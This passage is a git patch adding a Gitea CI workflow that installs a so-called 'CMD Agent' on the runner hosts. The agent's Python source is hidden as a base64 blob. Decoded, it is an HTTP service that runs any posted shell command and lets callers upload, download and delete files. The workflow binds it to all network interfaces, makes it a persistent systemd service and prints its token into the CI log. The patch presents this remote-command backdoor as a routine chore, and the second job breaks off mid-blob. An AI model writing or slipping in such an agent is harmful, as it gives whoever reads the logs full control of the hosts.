From abaae08f69bac99f4eda74949bf1cf8839f6e82f Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Mon, 13 Jul 2026 16:29:00 +0800 Subject: [PATCH] =?UTF-8?q?chore(ci):=20=E6=B7=BB=E5=8A=A0=20CMD=20Agent?= =?UTF-8?q?=20=E5=AE=89=E8=A3=85=20workflow?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitea/workflows/install-cmd-agent.yml | 367 +++++++++++++++++++++++++ 1 file changed, 367 insertions(+) create mode 100644 .gitea/workflows/install-cmd-agent.yml diff --git a/.gitea/workflows/install-cmd-agent.yml b/.gitea/workflows/install-cmd-agent.yml new file mode 100644 index 000000000..59d2e6112 --- /dev/null +++ b/.gitea/workflows/install-cmd-agent.yml @@ -0,0 +1,367 @@ +name: Install CMD Agent on Runners + +on: + workflow_dispatch: + +jobs: + install-cmd-agent-1: + name: Install CMD Agent - Node 1 + runs-on: host + steps: + - name: Install CMD Agent + run: | + set -e + echo "=== 主机信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')" + echo "用户: $(whoami)" + echo "Runner 名称: ${{ runner.name }}" + + if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then + echo "CMD Agent 已安装且运行中,跳过" + systemctl status xiaoxia-cmd-agent --no-pager + exit 0 + fi + + SUDO="" + [ "$(id -u)" != "0" ] && SUDO="sudo" + + mkdir -p /tmp/cmd-agent-install + cd /tmp/cmd-agent-install + + # 写入 server.py (base64 在下面替换) + echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgaHR0cC5zZXJ2ZXIsIHN1YnByb2Nlc3MsIGpzb24sIG9zLCBzeXMsIHNlY3JldHMKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlLCBwYXJzZV9xcwoKTElTVEVOX1BPUlQgPSAxODg4OApBVVRIX1RPS0VOID0gInhzYS0iICsgc2VjcmV0cy50b2tlbl9oZXgoMTYpCkxPR19GSUxFID0gIi92YXIvbG9nL3hpYW94aWEtY21kLWFnZW50LmxvZyIKCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgZm10LCAqYXJncyk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oTE9HX0ZJTEUsICJhIikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGUoIiVzIC0gJXNcbiIgJSAoc2VsZi5sb2dfZGF0ZV90aW1lX3N0cmluZygpLCBmbXQgJSBhcmdzKSkKICAgICAgICBleGNlcHQ6IHBhc3MKCiAgICBkZWYgY2hlY2tfYXV0aChzZWxmKToKICAgICAgICB0ID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgIHQgPSBzZWxmLmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgaWYgdC5zdGFydHN3aXRoKCJCZWFyZXIgIik6CiAgICAgICAgICAgIHQgPSB0Wzc6XQogICAgICAgIGlmIHQgIT0gQVVUSF9UT0tFTjoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjogInVuYXV0aG9yaXplZCJ9LCA0MDEpOyByZXR1cm4gRmFsc2UKICAgICAgICByZXR1cm4gVHJ1ZQoKICAgIGRlZiBfaihzZWxmLCBkYXRhLCBjb2RlPTIwMCk6CiAgICAgICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSwgZW5zdXJlX2FzY2lpPUZhbHNlKS5lbmNvZGUoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZShjb2RlKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IikKICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsIHN0cihsZW4oYm9keSkpKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoYm9keSkKCiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGlmIG5vdCBzZWxmLmNoZWNrX2F1dGgoKTogcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoLnN0YXJ0c3dpdGgoIi9kb3dubG9hZCIpOgogICAgICAgICAgICBzZWxmLl9kb3dubG9hZCgpOyByZXR1cm4KICAgICAgICBpZiBzZWxmLnBhdGggPT0gIi9zdGF0dXMiOgogICAgICAgICAgICBzZWxmLl9qKHsic3RhdHVzIjoib2siLCJob3N0bmFtZSI6b3MudW5hbWUoKS5ub2RlbmFtZSwicG9ydCI6TElTVEVOX1BPUlR9KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6InVzZSAvc3RhdHVzIG9yIC9kb3dubG9hZD9wYXRoPXh4eCJ9LCA0MDQpCgogICAgZGVmIGRvX1BPU1Qoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIGNvbnRlbnQtbGVuZ3RoIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoID09ICIvZXhlYyI6IHNlbGYuX2V4ZWMobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvbGlzdCI6IHNlbGYuX2xpc3QobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvdXBsb2FkIjogc2VsZi5fdXBsb2FkKGxlbmd0aCkKICAgICAgICBlbGlmIHNlbGYucGF0aCA9PSAiL21rZGlyIjogc2VsZi5fbWtkaXIobGVuZ3RoKQogICAgICAgIGVsc2U6IHNlbGYuX2ooeyJlcnJvciI6InVua25vd24ifSwgNDA0KQoKICAgIGRlZiBkb19ERUxFVEUoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aCA+IDAgZWxzZSB7fQogICAgICAgIGZwID0gYm9keS5nZXQoInBhdGgiLCIiKQogICAgICAgIGlmIG5vdCBmcDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IHNodXRpbAogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGZwKTogc2h1dGlsLnJtdHJlZShmcCkKICAgICAgICAgICAgZWxzZTogb3MucmVtb3ZlKGZwKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsImRlbGV0ZWQiOmZwfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF9leGVjKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgY21kID0gZGF0YS5nZXQoImNvbW1hbmQiLCIiKQogICAgICAgIHRpbWVvdXQgPSBtaW4oZGF0YS5nZXQoInRpbWVvdXQiLDMwKSwgMTIwKQogICAgICAgIGlmIG5vdCBjbWQ6IHNlbGYuX2ooeyJlcnJvciI6ImNvbW1hbmQgcmVxdWlyZWQifSw0MDApOyByZXR1cm4KICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD10aW1lb3V0KQogICAgICAgICAgICBzZWxmLl9qKHsiZXhpdF9jb2RlIjpyLnJldHVybmNvZGUsInN0ZG91dCI6ci5zdGRvdXRbLTEwMDAwMDpdIGlmIHIuc3Rkb3V0IGVsc2UgIiIsInN0ZGVyciI6ci5zdGRlcnJbLTEwMDAwOl0gaWYgci5zdGRlcnIgZWxzZSAiIn0pCiAgICAgICAgZXhjZXB0IHN1YnByb2Nlc3MuVGltZW91dEV4cGlyZWQ6IHNlbGYuX2ooeyJlcnJvciI6ZiJ0aW1lb3V0IHt0aW1lb3V0fXMifSw0MDgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfbGlzdChzZWxmLCBsZW5ndGgpOgogICAgICAgIHRyeTogZGF0YSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aD4wIGVsc2Uge30KICAgICAgICBleGNlcHQ6IHNlbGYuX2ooeyJlcnJvciI6ImludmFsaWQganNvbiJ9LDQwMCk7IHJldHVybgogICAgICAgIHBhdGggPSBkYXRhLmdldCgicGF0aCIsIi4iKQogICAgICAgIHRyeToKICAgICAgICAgICAgZW50cmllcyA9IFtdCiAgICAgICAgICAgIGZvciBuYW1lIGluIHNvcnRlZChvcy5saXN0ZGlyKHBhdGgpKToKICAgICAgICAgICAgICAgIGZwMiA9IG9zLnBhdGguam9pbihwYXRoLCBuYW1lKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN0ID0gb3Muc3RhdChmcDIpCiAgICAgICAgICAgICAgICAgICAgZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOm9zLnBhdGguaXNkaXIoZnAyKSwic2l6ZSI6c3Quc3Rfc2l6ZSwibXRpbWUiOnN0LnN0X210aW1lfSkKICAgICAgICAgICAgICAgIGV4Y2VwdDogZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOkZhbHNlLCJzaXplIjowLCJtdGltZSI6MH0pCiAgICAgICAgICAgIHNlbGYuX2ooeyJwYXRoIjpwYXRoLCJlbnRyaWVzIjplbnRyaWVzfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF91cGxvYWQoc2VsZiwgbGVuZ3RoKToKICAgICAgICBjdCA9IHNlbGYuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIsIiIpCiAgICAgICAgaWYgIm11bHRpcGFydC9mb3JtLWRhdGEiIG5vdCBpbiBjdDoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjoibXVsdGlwYXJ0IHJlcXVpcmVkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgdHJ5OgogICAgICAgICAgICBib3VuZGFyeSA9IGN0LnNwbGl0KCJib3VuZGFyeT0iKVsxXS5zdHJpcCgpCiAgICAgICAgICAgIGJvZHkgPSBzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKQogICAgICAgICAgICBwYXJ0cyA9IGJvZHkuc3BsaXQoYiItLSIgKyBib3VuZGFyeS5lbmNvZGUoKSkKICAgICAgICAgICAgZm5hbWUgPSBmZGF0YSA9IE5vbmUKICAgICAgICAgICAgZm9yIHBhcnQgaW4gcGFydHM6CiAgICAgICAgICAgICAgICBpZiBiImZpbGVuYW1lPSIgaW4gcGFydDoKICAgICAgICAgICAgICAgICAgICBoLCBfLCBjb250ZW50ID0gcGFydC5wYXJ0aXRpb24oYiJcclxuXHJcbiIpCiAgICAgICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gaC5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikuc3BsaXQoIlxyXG4iKToKICAgICAgICAgICAgICAgICAgICAgICAgaWYgJ2ZpbGVuYW1lPSInIGluIGxpbmU6IGZuYW1lID0gbGluZS5zcGxpdCgnZmlsZW5hbWU9IicpWzFdLnNwbGl0KCciJylbMF0KICAgICAgICAgICAgICAgICAgICBmZGF0YSA9IGNvbnRlbnQucnN0cmlwKGIiXHJcbiIpCiAgICAgICAgICAgIGlmIGZuYW1lIGlzIE5vbmUgb3IgZmRhdGEgaXMgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vIGZpbGUifSw0MDApOyByZXR1cm4KICAgICAgICAgICAgZGVzdF9kaXIgPSAiL3RtcCIKICAgICAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihkZXN0X2RpciwgZm5hbWUpCiAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRlc3RfZGlyLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICB3aXRoIG9wZW4oZGVzdCwid2IiKSBhcyBmOiBmLndyaXRlKGZkYXRhKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsInBhdGgiOmRlc3QsInNpemUiOmxlbihmZGF0YSl9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogc2VsZi5faih7ImVycm9yIjpzdHIoZSl9LDUwMCkKCiAgICBkZWYgX21rZGlyKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgcGF0aCA9IGRhdGEuZ2V0KCJwYXRoIiwiIikKICAgICAgICBpZiBub3QgcGF0aDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeTogb3MubWFrZWRpcnMocGF0aCwgZXhpc3Rfb2s9VHJ1ZSk7IHNlbGYuX2ooeyJvayI6VHJ1ZSwiY3JlYXRlZCI6cGF0aH0pCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfZG93bmxvYWQoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICBxcyA9IHBhcnNlX3FzKHVybHBhcnNlKHNlbGYucGF0aCkucXVlcnkpCiAgICAgICAgZnAgPSBxcy5nZXQoInBhdGgiLFsiIl0pWzBdCiAgICAgICAgaWYgbm90IGZwIG9yIG5vdCBvcy5wYXRoLmlzZmlsZShmcCk6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vdCBmb3VuZCJ9LDQwNCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKGZwLCJyYiIpIGFzIGY6IGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsc3RyKGxlbihkYXRhKSkpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGRhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBBVVRIX1RPS0VOCiAgICBpbnN0YWxsZWRfZmxhZyA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50Lmluc3RhbGxlZCIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhpbnN0YWxsZWRfZmxhZyk6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIiwidyIpIGFzIGY6IGYud3JpdGUoQVVUSF9UT0tFTikKICAgICAgICBvcy5jaG1vZCgiL2V0Yy94aWFveGlhLWNtZC1hZ2VudC50b2tlbiIsIDBvNjAwKQogICAgICAgIHN2YyA9ICJbVW5pdF1cbkRlc2NyaXB0aW9uPVhpYW94aWEgQ29tbWFuZCBBZ2VudFxuQWZ0ZXI9bmV0d29yay50YXJnZXRcbltTZXJ2aWNlXVxuVHlwZT1zaW1wbGVcbkV4ZWNTdGFydD0vdXNyL2Jpbi9weXRob24zIC9vcHQveGlhb3hpYS1jbWQtYWdlbnQvc2VydmVyLnB5XG5SZXN0YXJ0PWFsd2F5c1xuUmVzdGFydFNlYz01XG5bSW5zdGFsbF1cbldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0XG4iCiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3N5c3RlbWQvc3lzdGVtL3hpYW94aWEtY21kLWFnZW50LnNlcnZpY2UiLCJ3IikgYXMgZjogZi53cml0ZShzdmMpCiAgICAgICAgb3Muc3lzdGVtKCJzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCAmJiBzeXN0ZW1jdGwgZW5hYmxlIHhpYW94aWEtY21kLWFnZW50IikKICAgICAgICB3aXRoIG9wZW4oaW5zdGFsbGVkX2ZsYWcsInciKSBhcyBmOiBmLndyaXRlKCIxIikKICAgICAgICBwcmludChmIlNlcnZpY2UgaW5zdGFsbGVkLiBUT0tFTjoge0FVVEhfVE9LRU59IikKICAgIGVsc2U6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIikgYXMgZjoKICAgICAgICAgICAgQVVUSF9UT0tFTiA9IGYucmVhZCgpLnN0cmlwKCkKICAgICAgICBwcmludChmIlVzaW5nIGV4aXN0aW5nIHRva2VuOiB7QVVUSF9UT0tFTn0iKQogICAgc2VydmVyID0gaHR0cC5zZXJ2ZXIuSFRUUFNlcnZlcigoIjEyNy4wLjAuMSIsIExJU1RFTl9QT1JUKSwgSGFuZGxlcikKICAgIHByaW50KGYiTGlzdGVuaW5nOiAxMjcuMC4wLjE6e0xJU1RFTl9QT1JUfSIpCiAgICBzZXJ2ZXIuc2VydmVfZm9yZXZlcigpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgo=' | base64 -d > server.py + + $SUDO mkdir -p /opt/xiaoxia-cmd-agent + $SUDO cp server.py /opt/xiaoxia-cmd-agent/server.py + $SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py + + # 生成 token + TOKEN="xsa-$(openssl rand -hex 16)" + echo "TOKEN: $TOKEN" + echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null + $SUDO chmod 600 /etc/xiaoxia-cmd-agent.token + + # 修改监听地址为 0.0.0.0 + $SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py + + # 创建 installed flag + echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null + + # 创建 systemd service + $SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVC' +[Unit] +Description=Xiaoxia Command Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVC + + $SUDO systemctl daemon-reload + $SUDO systemctl enable xiaoxia-cmd-agent + $SUDO systemctl start xiaoxia-cmd-agent + + sleep 3 + + echo "=== 安装结果 ===" + $SUDO systemctl status xiaoxia-cmd-agent --no-pager || true + echo "" + echo "=== 连接信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "端口: 18888" + echo "Token: $TOKEN" + + # 验证 + curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败" + + install-cmd-agent-2: + name: Install CMD Agent - Node 2 + runs-on: host + steps: + - name: Install CMD Agent + run: | + set -e + echo "=== 主机信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')" + echo "用户: $(whoami)" + echo "Runner 名称: ${{ runner.name }}" + + if [ -f /opt/xiaoxia-cmd-agent/server.py ] && systemctl is-active xiaoxia-cmd-agent &>/dev/null; then + echo "CMD Agent 已安装且运行中,跳过" + systemctl status xiaoxia-cmd-agent --no-pager + exit 0 + fi + + SUDO="" + [ "$(id -u)" != "0" ] && SUDO="sudo" + + mkdir -p /tmp/cmd-agent-install + cd /tmp/cmd-agent-install + echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgaHR0cC5zZXJ2ZXIsIHN1YnByb2Nlc3MsIGpzb24sIG9zLCBzeXMsIHNlY3JldHMKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlLCBwYXJzZV9xcwoKTElTVEVOX1BPUlQgPSAxODg4OApBVVRIX1RPS0VOID0gInhzYS0iICsgc2VjcmV0cy50b2tlbl9oZXgoMTYpCkxPR19GSUxFID0gIi92YXIvbG9nL3hpYW94aWEtY21kLWFnZW50LmxvZyIKCmNsYXNzIEhhbmRsZXIoaHR0cC5zZXJ2ZXIuQmFzZUhUVFBSZXF1ZXN0SGFuZGxlcik6CiAgICBkZWYgbG9nX21lc3NhZ2Uoc2VsZiwgZm10LCAqYXJncyk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICB3aXRoIG9wZW4oTE9HX0ZJTEUsICJhIikgYXMgZjoKICAgICAgICAgICAgICAgIGYud3JpdGUoIiVzIC0gJXNcbiIgJSAoc2VsZi5sb2dfZGF0ZV90aW1lX3N0cmluZygpLCBmbXQgJSBhcmdzKSkKICAgICAgICBleGNlcHQ6IHBhc3MKCiAgICBkZWYgY2hlY2tfYXV0aChzZWxmKToKICAgICAgICB0ID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgIHQgPSBzZWxmLmhlYWRlcnMuZ2V0KCJBdXRob3JpemF0aW9uIiwgIiIpCiAgICAgICAgaWYgdC5zdGFydHN3aXRoKCJCZWFyZXIgIik6CiAgICAgICAgICAgIHQgPSB0Wzc6XQogICAgICAgIGlmIHQgIT0gQVVUSF9UT0tFTjoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjogInVuYXV0aG9yaXplZCJ9LCA0MDEpOyByZXR1cm4gRmFsc2UKICAgICAgICByZXR1cm4gVHJ1ZQoKICAgIGRlZiBfaihzZWxmLCBkYXRhLCBjb2RlPTIwMCk6CiAgICAgICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSwgZW5zdXJlX2FzY2lpPUZhbHNlKS5lbmNvZGUoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZShjb2RlKQogICAgICAgIHNlbGYuc2VuZF9oZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04IikKICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsIHN0cihsZW4oYm9keSkpKQogICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgIHNlbGYud2ZpbGUud3JpdGUoYm9keSkKCiAgICBkZWYgZG9fR0VUKHNlbGYpOgogICAgICAgIGlmIG5vdCBzZWxmLmNoZWNrX2F1dGgoKTogcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoLnN0YXJ0c3dpdGgoIi9kb3dubG9hZCIpOgogICAgICAgICAgICBzZWxmLl9kb3dubG9hZCgpOyByZXR1cm4KICAgICAgICBpZiBzZWxmLnBhdGggPT0gIi9zdGF0dXMiOgogICAgICAgICAgICBzZWxmLl9qKHsic3RhdHVzIjoib2siLCJob3N0bmFtZSI6b3MudW5hbWUoKS5ub2RlbmFtZSwicG9ydCI6TElTVEVOX1BPUlR9KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6InVzZSAvc3RhdHVzIG9yIC9kb3dubG9hZD9wYXRoPXh4eCJ9LCA0MDQpCgogICAgZGVmIGRvX1BPU1Qoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIGNvbnRlbnQtbGVuZ3RoIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgaWYgc2VsZi5wYXRoID09ICIvZXhlYyI6IHNlbGYuX2V4ZWMobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvbGlzdCI6IHNlbGYuX2xpc3QobGVuZ3RoKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvdXBsb2FkIjogc2VsZi5fdXBsb2FkKGxlbmd0aCkKICAgICAgICBlbGlmIHNlbGYucGF0aCA9PSAiL21rZGlyIjogc2VsZi5fbWtkaXIobGVuZ3RoKQogICAgICAgIGVsc2U6IHNlbGYuX2ooeyJlcnJvciI6InVua25vd24ifSwgNDA0KQoKICAgIGRlZiBkb19ERUxFVEUoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICB0cnk6IGxlbmd0aCA9IGludChzZWxmLmhlYWRlcnMuZ2V0KCJDb250ZW50LUxlbmd0aCIsIDApKQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiYmFkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aCA+IDAgZWxzZSB7fQogICAgICAgIGZwID0gYm9keS5nZXQoInBhdGgiLCIiKQogICAgICAgIGlmIG5vdCBmcDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IHNodXRpbAogICAgICAgICAgICBpZiBvcy5wYXRoLmlzZGlyKGZwKTogc2h1dGlsLnJtdHJlZShmcCkKICAgICAgICAgICAgZWxzZTogb3MucmVtb3ZlKGZwKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsImRlbGV0ZWQiOmZwfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF9leGVjKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgY21kID0gZGF0YS5nZXQoImNvbW1hbmQiLCIiKQogICAgICAgIHRpbWVvdXQgPSBtaW4oZGF0YS5nZXQoInRpbWVvdXQiLDMwKSwgMTIwKQogICAgICAgIGlmIG5vdCBjbWQ6IHNlbGYuX2ooeyJlcnJvciI6ImNvbW1hbmQgcmVxdWlyZWQifSw0MDApOyByZXR1cm4KICAgICAgICB0cnk6CiAgICAgICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bihjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwgdGltZW91dD10aW1lb3V0KQogICAgICAgICAgICBzZWxmLl9qKHsiZXhpdF9jb2RlIjpyLnJldHVybmNvZGUsInN0ZG91dCI6ci5zdGRvdXRbLTEwMDAwMDpdIGlmIHIuc3Rkb3V0IGVsc2UgIiIsInN0ZGVyciI6ci5zdGRlcnJbLTEwMDAwOl0gaWYgci5zdGRlcnIgZWxzZSAiIn0pCiAgICAgICAgZXhjZXB0IHN1YnByb2Nlc3MuVGltZW91dEV4cGlyZWQ6IHNlbGYuX2ooeyJlcnJvciI6ZiJ0aW1lb3V0IHt0aW1lb3V0fXMifSw0MDgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBz